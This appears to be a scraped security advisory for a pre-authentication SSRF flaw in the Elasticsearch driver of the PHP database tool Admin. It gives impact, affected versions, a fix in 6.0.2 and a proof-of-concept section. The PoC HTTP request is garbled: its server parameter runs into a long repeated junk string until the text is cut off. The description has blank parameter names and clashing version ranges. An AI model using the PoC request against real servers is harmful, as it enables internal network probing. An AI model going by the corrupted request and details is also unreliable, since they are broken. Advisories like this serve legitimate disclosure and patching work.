Pre-Auth SSRF in Admin Elasticsearch Plugin

Vulnerability Summary: Unauthenticated Pre-authentication SSRF Vulnerability in Admin Elasticsearch Plugin Overview Vulnerability Type: Unauthenticated Pre-authentication Server-Side Request Forgery (SSRF) CVSS Score: 5.8 / 10 (Medium) Description: In versions 6.0.0 and 6.0.1 of Admin, an optional Elasticsearch driver contains a pre-authentication SSRF vulnerability. An unauthenticated attacker can control the , , and parameters, causing the Admin server to send HTTP GET requests to any reachable host and port. This request is issued prior to the validation of the Admin login credentials. Impact: - Internal network reconnaissance - Port scanning of reachable services - Fingerprinting of internal Elasticsearch or OpenSearch instances - Leakage of error messages from internal services - Leakage of connection states and service availability - Conditional access may be gained if the internal Elasticsearch instance accepts the provided credentials or if a password-less login plugin is deployed Affected Scope Affected Versions: 4.16.0 - 6.0.1 Fixed Version: 6.0.2 Package Name: vrana/admin (Composer) Remediation Upgrade to version 6.0.2 or later. POC Code 1. Unauthenticated Login Request 2. Internal Test HTTP Service Returning Elasticsearch-Style Error 3. First, request the login page to establish a normal session 4. Then submit arbitrary credentials and an attacker-controlled internal target ``` POST /admin/elastic.php?elastic HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded auth[server]=d250a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a252a25

Goal Reached Thanks to every supporter — we hit 100%!

Pre-Auth SSRF in Admin Elasticsearch Plugin

More from this source